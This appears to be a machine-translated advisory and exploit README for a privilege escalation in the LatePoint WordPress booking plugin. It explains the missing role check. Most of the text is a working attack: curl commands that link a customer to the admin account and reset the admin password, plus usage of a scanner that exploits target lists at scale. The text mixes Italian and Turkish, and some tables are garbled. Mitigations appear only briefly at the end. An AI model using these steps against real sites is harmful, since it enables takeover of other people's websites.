
CVE-2026-6741 è una vulnerabilità di escalation dei privilegi con CVSS 8.8 (Alta) Autenticato (Agente+) nel plugin LatePoint – Calendar Booking
CVE-2026-6741 è una vulnerabilità di escalation dei privilegi autenticata (Agent+) con CVSS 8.8 (Alta) nel plugin LatePoint – Calendar Booking Plugin
Plugin: LatePoint – Calendar Booking Plugin for Appointments and Events (
latepoint) CVE ID: CVE-2026-6741 CVSS Score: 8.8 (High) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTipo di vulnerabilità: Authenticated (Agent+) Privilege Escalation → Administrator Takeover Versioni affette: <= 5.4.1 Versione patchata: 5.4.2 Data di pubblicazione: 27 Aprile 2026 Ricercatori: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence
Un attaccante autenticato con il ruolo latepoint_agent può collegare qualsiasi record cliente LatePoint a un account amministratore WordPress e quindi modificare la password dell'amministratore utilizzando il flusso di reimpostazione della password di LatePoint. Ciò si traduce in un completo compromissione del sito.
LatePoint 5.3.0 ha aggiunto il supporto per Abilities API introdotta con WordPress 6.9+. Questa API consente ai plugin di registrare classi "ability" richiamabili tramite REST API:
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
$this->id = 'latepoint/connect-customer-to-wp-user';
$this->label = __( 'Connect customer to WP user', 'latepoint' );
$this->permission = 'customer__edit'; // ← unico controllo: questa capability
}
Il ruolo Agent ha per impostazione predefinita la capability customer__edit:
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
$capabilities = [
...
'customer__edit', // ← agent possiede questa capability
...
];
}
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['customer_id'] );
$wp_user_id = (int) $args['wp_user_id'];
if ( ! get_userdata( $wp_user_id ) ) {
// Viene controllato solo se l'utente esiste
// MANCANTE: il ruolo dell'utente target non viene controllato
return new WP_Error( 'wp_user_not_found', ... );
}
$customer->wordpress_user_id = $wp_user_id; // ← collega a qualsiasi utente WP
$customer->save();
return $this->serialize_customer( ... );
}
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
if ( OsAuthHelper::can_wp_users_login_as_customers()
&& $this->wordpress_user_id ) {
wp_set_password( $password, $this->wordpress_user_id );
// ↑ wordpress_user_id ora è l'ID admin → la password admin cambia
}
}
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
return OsRolesHelper::can_user( $this->permission );
// Controlla solo il permesso del CHIAMANTE
// Non controlla il ruolo dell'utente DESTINATARIO
}
account latepoint_agent
│
▼
1. Accedi a WP come Agent → ottieni il nonce REST
│
▼
2. Identifica l'ID utente WordPress admin target
(wp-json/wp/v2/users o ID=1)
│
▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{ "customer_id": 5, "wp_user_id": 1 }
→ Nessun controllo del ruolo → Riuscito
│
▼
4. LatePoint forgot_password → invia token di reset all'email del customer
│
▼
5. Con il token chiama change_password → update_password() viene chiamata
→ wp_set_password("Hacked!", 1)
→ Password admin modificata
│
▼
6. Accedi come admin con la nuova password → Controllo completo del sito ✓
⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisiti:
latepoint_agentWP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"
# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
-d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# REST nonce al
NONCE=$(curl -s -b cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"
# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
-H "X-WP-Nonce: $NONCE" | python3 -m json.tool
ADMIN_WP_USER_ID=1 # Genellikle ID=1
CUSTOMER_ID=5 # Kontrol ettiğin LatePoint customer ID
curl -s -b cookies.txt -X POST \
"$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $NONCE" \
-d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
Beklenen yanıt:
{
"id": 5,
"wp_user_id": 1,
"email": "[email protected]"
}
CUSTOMER_EMAIL="[email protected]"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint invia un'email di reset all'indirizzo $CUSTOMER_EMAIL contenente un token account_nonce.
RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
Questa chiamata attiva la catena update_password() → wp_set_password($NEW_PASSWORD, 1). La password admin è cambiata.
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
"$WP_URL/wp-login.php" \
-d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)
# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
curl -s "$WP_URL/wp-json/wp/v2/users/me" \
-H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt
requirements.txt
requests
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123!
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected]
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected] \
--reset-token abc123xyz \
--new-password Hacked_2026!
python latepoint_privesc.py -l targets.txt -t 10 \
--agent-user agent1 --agent-pass Pass123! \
-o sonuclar.txt
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--proxy http://127.0.0.1:8080
| Parametro | Descrizione |
|---|---|
--agent-user | Nome utente Agent (obbligatorio) |
--agent-pass | Password Agent (obbligatorio) |
| Parametro | Descrizione | Predefinito |
|---|---|---|
--admin-id |
| Parametro | Descrizione | Predefinito |
|---|---|---|
--reset-token | Token di reset ricevuto via email | — |
--new-password | Nuova password admin | Pwned_CVE2026_6741! |
[*] Target : http://hedef.com
[*] Agent : agent1
[*] Admin ID : rilevamento automatico
[*] Customer ID : rilevamento automatico
[*] Reset Token : email in attesa
[*] Nuova Password : Pwned_CVE2026_6741!
[→] http://hedef.com Passo 1/6: Login Agent...
[→] http://hedef.com Passo 2/6: Identificazione ID utente admin...
[→] http://hedef.com Passo 3/6: Identificazione Customer ID...
[→] http://hedef.com Passo 4/6: Collegamento Customer #5 → Admin #1...
[→] http://hedef.com Passo 5/6: Avvio reimpostazione password...
[→] http://hedef.com Passo 6/6: Modifica password (token manuale)...
════════════════════════════════════════════════════════════
[★ PWNED ] http://hedef.com
Versione : 5.4.1
Admin ID : 1
Customer : #5 <[email protected]>
Utente : admin roles=['administrator']
════════════════════════════════════════════════════════════
[+] Salvato → privesc_results.txt
┌─────────────────────────────────────────────────────────┐
│ FASE 1 — Collega + Invia email di reset │
│ │
│ python latepoint_privesc.py -u http://hedef.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] │
│ │
│ → Output: "Email di reset inviata — token in attesa" │
└─────────────────────────┬───────────────────────────────┘
│
Ottieni il token dall'email
│
┌─────────────────────────▼───────────────────────────────┐
│ FASE 2 — Cambia la password con il token │
│ │
│ python latepoint_privesc.py -u http://hedef.com \ │
│ --agent-user agent1 --agent-pass Pass123! \ │
│ --customer-id 5 --customer-email [email protected] \ │
│ --reset-token abc123xyz \ │
│ --new-password Hacked_2026! │
│ │
│ → Output: ★ PWNED — roles=['administrator'] │
└─────────────────────────────────────────────────────────┘
Esempio di execute() sicuro:
// Non sicuro (attuale — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Sicuro (raccomandato — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
return new WP_Error( 'wp_user_not_found', ... );
}
// Controlla il ruolo dell'utente target
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}
cve-2026-6741-scanner/
├── latepoint_privesc.py # Scanner principale
├── requirements.txt # Dipendenze
└── README.md # Questo file
Questo strumento e PoC sono progettati per essere utilizzati solo su sistemi autorizzati, a scopo educativo e nell'ambito di test di penetrazione. L'uso su sistemi non autorizzati costituisce un reato ai sensi degli articoli 243-245 del Codice penale turco e delle leggi internazionali sui crimini informatici. Lo sviluppatore non si assume alcuna responsabilità legale derivante dall'uso improprio dello strumento.
MIT License — Solo a scopo educativo e di ricerca.
| Campo | Valore |
|---|
| Nome del plugin | LatePoint – Calendar Booking Plugin |
| Plugin Slug | latepoint |
| CVE ID | CVE-2026-6741 |
| Punteggio CVSS | 8.8 (High) |
| Tipo di vulnerabilità | Authenticated (Agent+) Privilege Escalation |
| Versione affetta | <= 5.4.1 |
| Versione patchata | 5.4.2 |
| Requisito | ruolo latepoint_agent, WordPress 6.9+ |
| Parametro | Breve | Descrizione | Predefinito |
|---|
--url | -u | URL del singolo target | — |
--list | -l | File di elenco target | — |
--threads | -t | Numero di thread | 5 |
--output | -o | File di output | privesc_results.txt |
--proxy | — | Proxy URL | — |
--timeout | — | Timeout richiesta (s) | 10 |
--force | — | Continua anche se il rilevamento Abilities API fallisce | False |
| ID utente WP admin target |
| rilevamento automatico |
--customer-id | ID customer LatePoint controllato | rilevamento automatico |
--customer-email | Indirizzo email customer LatePoint | email agent |
| Stato | Descrizione |
|---|
★ PWNED | Password admin modificata, accesso effettuato |
~ RESET_SENT | Email di reset inviata — token in attesa |
~ PWD_CHANGE | Password cambiata — verifica manuale accesso admin |
- LINK_FAIL | Collegamento Customer-Admin fallito |
- LOGIN_FAIL | Login Agent fallito |
- NO_PLUGIN | LatePoint non installato |
- NO_ABILITY | Abilities API disattivata (richiede WP 6.9+) |
~ NO_CUST | Customer ID non trovato — specificare manualmente |
~ UNREACH | Target non raggiungibile |
| Misure | Implementazione |
|---|
| Aggiornamento del plugin | Aggiornare alla versione 5.4.2+ di LatePoint |
| Aggiungere controllo del ruolo | Verificare il ruolo dell'utente target all'interno di execute() |
| Limitare Abilities API | Rimuovere la capacità connect-customer-to-wp-user dal ruolo Agent |
| Protezione reimpostazione password | Disabilitare il flusso di reset di LatePoint per gli account admin |
| Audit Abilities WP 6.9 | Revisionare regolarmente le abilità registrate |